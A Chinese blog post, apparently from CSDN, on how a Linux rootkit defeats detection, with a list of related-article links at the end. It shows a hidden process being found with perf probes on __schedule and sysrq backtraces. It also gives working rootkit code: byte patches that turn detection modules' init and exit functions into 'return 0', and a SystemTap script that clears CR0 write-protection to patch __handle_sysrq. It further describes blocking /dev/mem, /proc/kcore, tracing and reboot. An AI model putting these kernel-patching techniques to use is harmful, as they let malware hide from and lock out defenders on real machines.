任何恶意程序和反恶意程序都是左右手互搏,无关褒贬善恶,它们使用的均是同一种技术或者说手段。

之前说了很多如何做一个藏得很深的Rootkit,无论是藏进程,藏TCP连接,还是藏文件,当然,也顺便说了很多如何发现这些Rootkit的技巧,本文主要聊一下 Rootkit需要主动做哪些具体措施以反制侦测程序的侦测。

我们用之前的脚本隐彻底藏掉一个进程:

[root@localhost test]# ps -e|grep loooo
1545 pts/3        00:00:00 loooooooop
[root@localhost test]# stap -g ./hide_process.stp 1545 0 1234
[root@localhost test]# ps -e|grep looooo
[root@localhost test]#

我所谓的彻底隐藏绝不仅仅在procfs里掩耳盗铃这么简单,而是彻底将进程从task list中摘除,你即便是遍历task list也找不到它。详情参见:
https://blog.csdn.net/dog250/article/details/105371830
但是,运行队列里有啊!毕竟它总是要运行的吧。所以我自己当然知道如何找到它。

然而,当你不知道系统里有一个被隐藏进程的时候,怎么办?你只是知道此时服务器有点异常,比方说突然间一个月电费激增…你如何确认到底发生了什么呢?

好吧,咱们来debug吧。

[root@localhost ~]# crash /usr/lib/debug/usr/lib/modules/3.10.x86_64/vmlinux /dev/mem
...
This program has absolutely no warranty.  Enter "help warranty" for details.crash: /dev/mem: Operation not permittedUsage:crash [OPTION]... NAMELIST MEMORY-IMAGE[@ADDRESS]  (dumpfile form)crash [OPTION]... [NAMELIST]                     (live system form)Enter "crash -h" for details.
[root@localhost ~]# crash /usr/lib/debug/usr/lib/modules/3.10.x86_64/vmlinux /proc/kcore
...
crash: /proc/kcore: Operation not permitted
...

抱歉,无可能了!Why?

前面说过,Rootkit得手了,当然要把门锁上咯…Rootkit把/dev/mem,/proc/kcore的open接口给封死了。

通过debug live kernel的内存不行了,那么我们自己写模块来侦测怎么样?

…(此处略过侦测模块的内容)

加载成功!我们来dmesg看结果吧!很遗憾,什么也没有!因为Rootkit已经把模块的init函数和exit全部HOOK成了:

return 0;

而这个非常容易,直接用模块的notifier机制将init/exit函数开头修改几个字节即可:

// 把模块的init函数换成"return 0;"
init[0] = 0x31;    // xor %eax, %eax
init[1] = 0xc0;    // retq
init[2] = 0xc3;    // retq
// 把模块的exit函数换成"return;" 防止侦测模块在exit函数中做一些事情。
exit[0] = 0xc3;

所以,自己写的模块完全失效!

我本来是想在一篇文章里全部写完的,然而那样会很长,所以我就想一点写一点。其实封堵/dev/mem,封堵/proc/kcore,封堵内核模块并不能完全封堵侦测,还有三类需要重视:

  • eBPF tracing
  • Normal tracing
  • Sysrq dump

我目前没有eBPF环境,所以这里先不说eBPF。这里说说tracing和sysrq。先看看tracing机制如何发现被隐藏的进程。这非常简单。

被隐藏的进程总要被调度执行,那就trace调度点呗。当然,这有点暴力,不过也没办法,就好像地铁站,火车站总有查证的一样,阻碍交通,但有效啊!

下面的操作一气呵成即可:

# 先找个探测点
[root@localhost ~]# perf probe --line __schedule
<__schedule@/usr/src/debug/kernel-3.10/linux-3.10.x86_64/kernel/sched/core.c:0>0  static void __sched __schedule(void)1  {...58         clear_tsk_need_resched(prev);59         rq->skip_clock_update = 0;61         if (likely(prev != next)) {...
# 增加一个探测probe
[root@localhost ~]# perf probe '__schedule:59 prev->comm:string'
Added new event:probe:__schedule     (on __schedule:59 with comm=prev->comm:string)You can now use it in all perf tools, such as:perf record -e probe:__schedule -aR sleep 1
# 开始探测2秒钟
[root@localhost ~]# perf record -e probe:__schedule -aR sleep 2
[ perf record: Woken up 1 times to write data ]
[ perf record: Captured and wrote 0.146 MB perf.data (41 samples) ]
# 查看结果
[root@localhost ~]# perf scriptperf  1903 [000]  1643.752322: probe:__schedule: (ffffffff8163993d) comm="perf"sleep  1904 [000]  1643.752849: probe:__schedule: (ffffffff8163993d) comm="sleep":1545  1545 [000]  1643.764831: probe:__schedule: (ffffffff8163993d) comm="loooooooop"rcuos/0    11 [000]  1643.764847: probe:__schedule: (ffffffff8163993d) comm="rcuos/0"rcu_sched    10 [000]  1643.764851: probe:__schedule: (ffffffff8163993d) comm="rcu_sched":1545  1545 [000]  1643.776636: probe:__schedule: (ffffffff8163993d) comm="loooooooop"rcu_sched    10 [000]  1643.776645: probe:__schedule: (ffffffff8163993d) comm="rcu_sched"rcuos/0    11 [000]  1643.776668: probe:__schedule: (ffffffff8163993d) comm="rcuos/0":1545  1545 [000]  1643.881082: probe:__schedule: (ffffffff8163993d) comm="loooooooop"kworker/0:1    22 [000]  1643.881102: probe:__schedule: (ffffffff8163993d) comm="kworker/0:1":1545  1545 [000]  1644.040785: probe:__schedule: (ffffffff8163993d) comm="loooooooop"tuned  1221 [000]  1644.040863: probe:__schedule: (ffffffff8163993d) comm="tuned":1545  1545 [000]  1644.173536: probe:__schedule: (ffffffff8163993d) comm="loooooooop"

我们看到了一个可疑的进程,OK,成功抓住了loooooooop!

玩过瘾之后,接下来我要把trace机制封堵了。封堵过程我就不再赘述了,反正很简单,只要让trace接口注册函数直接return即可。依然是老套的二进制代码HOOK,有点烦了。

接下来我们看看sysrq如何抓到被隐藏的进程。

# 为了确认用法,先help一下
[root@localhost ~]# echo h >/proc/sysrq-trigger
[root@localhost ~]#
[root@localhost ~]# dmesg
[  659.915967] SysRq : HELP : loglevel(0-9) reboot(b) crash(c) terminate-all-tasks(e) memory-full-oom-kill(f) kill-all-tasks(i) thaw-filesystems(j) sak(k) show-backtrace-all-active-cpus(l) show-memory-usage(m) nice-all-RT-tasks(n) poweroff(o) show-registers(p) show-all-timers(q) unraw(r) sync(s) show-task-states(t) unmount(u) show-blocked-tasks(w) dump-ftrace-buffer(z)
[root@localhost ~]# echo l >/proc/sysrq-trigger
[root@localhost ~]# dmesg
...
# 如果被隐藏进程是个吃CPU的,那么不用几次就能找出来,因为它大概率正在某个CPU上运行,当前的stack就是它的stack!
[  664.780275] NMI backtrace for cpu 1
# pid不是1545,因为这是两次实验
[  664.780279] CPU: 1 PID: 1392 Comm: loooooooop Tainted: G           OE  ------------   3.10.x86_64 #1
[  664.780280] Hardware name: innotek GmbH VirtualBox/VirtualBox, BIOS VirtualBox 12/01/2006
[  664.780281] task: ffff88003c2e0c60 ti: ffff88003bbf8000 task.ti: ffff88003bbf8000
[  664.780282] RIP: 0033:[<00000000004004d1>]  [<00000000004004d1>] 0x4004d0
[  664.780300] RSP: 002b:00007ffd4284c530  EFLAGS: 00000246
[  664.780301] RAX: 00000000004004cd RBX: 0000000000000000 RCX: 00000000004004e0
[  664.780302] RDX: 00007ffd4284c628 RSI: 00007ffd4284c618 RDI: 0000000000000001
[  664.780304] RBP: 00007ffd4284c530 R08: 00007f7464447e80 R09: 0000000000000000
[  664.780305] R10: 00007ffd4284c060 R11: 00007f74640a22e0 R12: 00000000004003e0
[  664.780307] R13: 00007ffd4284c610 R14: 0000000000000000 R15: 0000000000000000
[  664.780309] FS:  00007f746465b740(0000) GS:ffff88003fc80000(0000) knlGS:0000000000000000
[  664.780310] CS:  0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[  664.780311] CR2: 00007fcae1697248 CR3: 000000003b604000 CR4: 00000000000406e0
[  664.780316] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[  664.780318] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
...

值得一提的是,如果是单核心CPU的机器,就不能使用procfs来触发sysrq dump stack了,因为无论如何它总是echo l >/proc/sysrq-trigger程序本身的stack,此时就需要真正用键盘的Sysrq键来触发了。

如果是远程登录,那么显然这里就需要ipmi等带外机制来触发键盘操作了。

封堵sysrq机制势在必行。这简直太容易了,封堵__handle_sysrq函数即可:

// drivers/tty/sysrq.c
void handle_sysrq(int key)
{if (sysrq_on())__handle_sysrq(key, true);
}

脚本如下:

// disysrq.stp
#!/usr/bin/stap -g
function disysrq()
%{unsigned char *_handle_sysrq;unsigned char ret_1[6];unsigned long cr0;_handle_sysrq = (void *)kallsyms_lookup_name("__handle_sysrq");if (!_handle_sysrq)return;ret_1[0] = 0xc3; // retqcr0 = read_cr0();clear_bit(16, &cr0);write_cr0(cr0);memcpy(_handle_sysrq, ret_1, sizeof(ret_1));set_bit(16, &cr0);write_cr0(cr0);
%}probe begin
{disysrq();exit();
}

由于我之前已经执行了anti-sense.stp脚本禁用了模块,所以我必须重启机器来验证禁用sysrq的功能:

[root@localhost ~]# echo h >/proc/sysrq-trigger
[root@localhost ~]# echo l >/proc/sysrq-trigger
[root@localhost ~]# dmesg
[root@localhost ~]# echo $?
0

什么系统都没有了!

OK,事到如此,经理只能一损俱损而被迫关机了!

怎么样?能让经理顺利关机吗?不可能的!于是将halt接口,reboot接口machine_emergency_restart,machine_restart,machine_halt封堵了吧,只是顺便的徒手之劳罢了。


事已至此,不必难过,好在还有ipmi来带外操作。

哈哈,难道ipmi就不能劫持吗?只要有接口,就能被劫持,难易不同而已。有接口的地方就能玩花活儿。

接口?这玩意儿初衷是给程序员用的,不是给代码用的,代码只是被迫 利用 而不是主动 使用 ,记住,在CPU看来,没有结构化,没有对象,CPU看到的只是一串冗长乏味的指令。接口这玩意儿非常之脆弱!我们看自来水管漏水,基本也是接口处。

一串指令如果顺序执行下去,便很难hook,然而一旦有个call或者jmp,那hook也就是换个地址的事了。

好吧,我承认,经理至少可以买机票去机房拔电线,按电源,或者一盆水泼在机柜上,然而这里还有一道接口,那就是机房的大门,经理穿着西装,他进得去机房吗?就算他进去了,然而经理穿着进水的皮鞋

Linux Rootkit的反侦测手段漫谈相关推荐

  1. Linux Rootkit躲避内核检测

    来自 Linux Rootkit如何避开内核检测的 Rootkit在登堂入室并得手后,还要记得把门锁上. 如果我们想注入一个Rootkit到内核,同时不想被侦测到,那么我们需要做的是精妙的隐藏,并保持 ...

  2. linux rootkit手动排查,Linux Rootkit如何避开内核检测的

    Rootkit在登堂入室并得手后,还要记得把门锁上. 如果我们想注入一个Rootkit到内核,同时不想被侦测到,那么我们需要做的是精妙的隐藏,并保持低调静悄悄,这个话题我已经谈过了,诸如进程摘链,TC ...

  3. Linux Rootkit 系列三:实例详解 Rootkit 必备的基本功能

    本文所需的完整代码位于笔者的代码仓库:https://github.com/NoviceLive/research-rootkit. 测试建议: 不要在物理机测试!不要在物理机测试! 不要在物理机测试 ...

  4. linux rootkit 端口复用,Linux Rootkit系列三:实例详解 Rootkit 必备的基本功能

    前言鉴于笔者知识能力上的不足,如有疏忽,欢迎纠正. 测试建议: 不要在物理机测试!不要在物理机测试! 不要在物理机测试! 概要 在 上一篇文章中笔者详细地阐述了基于直接修改系统调用表 (即 sys_c ...

  5. 详细解析反爬手段以及处理方案

    详细解析反爬手段以及处理方案 前言 ​ 互联网时代,无论在工作上,还是生活上都离不开网络,而网络能给我们带来什么? ​ 新闻,小说,资料,各行业的数据或者报表等等: ​ 比如:快毕业了为了论文,在各种 ...

  6. Python之反爬虫手段(User-Agent,Cookie,Referer,time.sleep(),IP代理池)

    现在的爬虫越来越难,各大网站为了预防不间断的网络爬虫,都相应地做出了不同的反爬机制,那么如何能够在不被封IP的情况,尽可能多得爬取数据呢?这里主要介绍到一些通用的反爬措施,虽然不一定适合所有网站,但是 ...

  7. linux Rootkit:x86与ARM的内联内核函数Hooking

    介绍 几个月前,我添加了一个新的项目.(https://github.com/mncoppola/suterusu)         通过我的各种对路由器后门及内核漏洞利用的探险,我最近的兴趣转向Li ...

  8. Linux Rootkit 系列四:对于系统调用挂钩方法的补充

    本篇文章按照之前文章所说的,来介绍linux rootkit中的系统调用挂钩技术. 1.背景 本次环境依然是linux 2.6系列内核,ubuntu10.04. 本篇文章及上篇文章的示例代码:Gith ...

  9. 【风控体系】互联网反欺诈体系漫谈

    转:原文链接:https://mp.weixin.qq.com/s/9TUNBIbf85MVZ6QlyN34lw 感觉类似金融风控实验室的概念,会越来越火,也希望越来越多志同道合的小伙伴可以加入这个圈 ...

最新文章

  1. Android studio 下 JNI 开发实例
  2. mysql数据压缩加密_MySQL 加密/压缩函数
  3. 程序员,你是真的该养生了
  4. 18 Context与组合的应用场景与使用问题
  5. NHibernate使用之详细图解
  6. 学C语言好,还是学C++好呢?这两个专业在哪些领域用得最多?
  7. 栈的链式存储结构及实现
  8. webapi控制器怎么接收json_新手指南之 Kubernetes 准入控制器
  9. “阿里云核心竞争力”峰会首日中奖小伙伴名单公布!机械键盘等豪礼下午继续放出!...
  10. Bochs使用简单教程
  11. itil v4和v3的区别_ITIL从v3到v4 - 这是新的ITIL
  12. 从零开始的单片机学习(二)
  13. MoveKit:一款功能强大的Cobalt Strike横向渗透套件
  14. win7无线网显示小太阳
  15. 微微信.NET 微信的开发者验证ASP.NET C#代码
  16. 详解 P沟道mos管与N沟道mos管
  17. BP神经网络的Java实现
  18. Flask--Blueprint(蓝图)简单使用笔记
  19. C++中fread函数和fwrite函数的用法
  20. 一元二次方程通解方程c语言编程,一元二次方程求解程序完整代码

热门文章

  1. 咖啡产品介绍PPT模板
  2. 利用阿里云短信找回密码 SpringBoot集成Mybatis
  3. win10连接android手机助手下载,完美Win10手机助手电脑版
  4. R语言——循环判断语句
  5. Linux 服务器部署 vue(SPA) 与 nuxt(SSR)项目
  6. 服务器进pe后找不到硬盘,进入PE后找不到硬盘的原因及解决方法
  7. 健身房健身需要什么装备,五款健身房必备运动耳机分享
  8. Java web课程设计-购物系统
  9. 大二Web课程设计——基于HTML+CSS+JavaScript+jquery手表商城购物网站(17页)
  10. JVM——GC算法原理